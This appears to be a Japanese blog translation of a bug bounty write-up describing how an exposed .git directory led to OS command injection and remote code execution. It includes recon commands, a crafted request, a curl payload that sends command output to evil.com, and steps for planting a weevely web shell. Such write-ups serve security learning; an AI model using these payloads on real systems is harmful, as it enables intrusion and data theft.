Shikata Ga Nai

Private? There is no such things.

$10.000 bounty for exposed .git to RCEを訳してみた

Hello there, ('ω')ノ

 

RCE に公開された .git に対する $10.000 の報奨金を。

 

脆弱性:

 .git フォルダの開示

 RCE

 OS コマンド インジェクション

 

記事:

 https://medium.com/@levshmelevv/10-000-bounty-for-exposed-git-to-rce-304c7e1f54

 

簡単に解決できるバグを収集する主な段階は偵察で。

このために、bash スクリプトで一連のツールを使用して。

 

amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua_$1
nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt

 

これは最も詳細な偵察ではなく。

自由に他のツールを追加できますが、

大量のホストをスキャンするように設計されていて。

幸いなことに、nuclei の出力は、ソースをダウンロードできるいくつかの

ホスト上の公開された .git/ ディレクトリを示して。

 

 

これを行うには、git-dumper ツールを使用し。

 

 git-dumper http://example.com/.git/ output

 

https://github.com/arthaud/git-dumper

 

コード内で、ローカルの bash スクリプトへの呼び出しを使用して、

shell_exec() 関数を介して ftp ユーザを保存および削除し、

フィルタリングされていないユーザ入力を取得し、

RCE の脆弱性につながったことが判明して。

 

リクエストを作成するには、ハードコーディングされた秘密鍵を

必要とする単純な検証も考慮する必要があって。

 

 

そして、リクエストの最終結果:

 

http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[secret1]&secret2=[sha1 encoded secret2]

 

エントリ ポイントは deluser パラメータになり。

 

 

次のステップは、脆弱性自体を検証することで。

そのために、shell_exec() へのインジェクションを介して

サーバにテスト curl 要求を行うと、これは正常に機能して。

 

 

次のように、コマンドの出力を URI に送信するか、POST 本文を介して

base64 エンコード形式で送信することにより、

コマンドの出力を読み取ることもできて。

 

id コマンドのペイロード:


 someusr; curl https://evil.com/$(id|base64|tr -d “\n”);

 

 

 

残りはシェルをアップロードすることだけで。

唯一の障害は現在のディレクトリへの書き込み権限がないことで。

そのため、シェルは uploads/ にアップロードされて。

シェルを生成するために、wevely ツールを使用して。

 

https://github.com/epinna/weevely3

 

 

このプロセスを段階的に説明:

1.シェルをtxtにローカルに保存して、curl経由で転送できるようにし、

 独自のホストでサーバを起動して。

2.ngrok でトンネルを上げて。

3.シェルを uploads/shell.php に保存するペイロードを送信して。

 

そして、wevelyを使用してアップロードされたシェルに接続する必要があって。

 

 

Best regards, (^^ゞ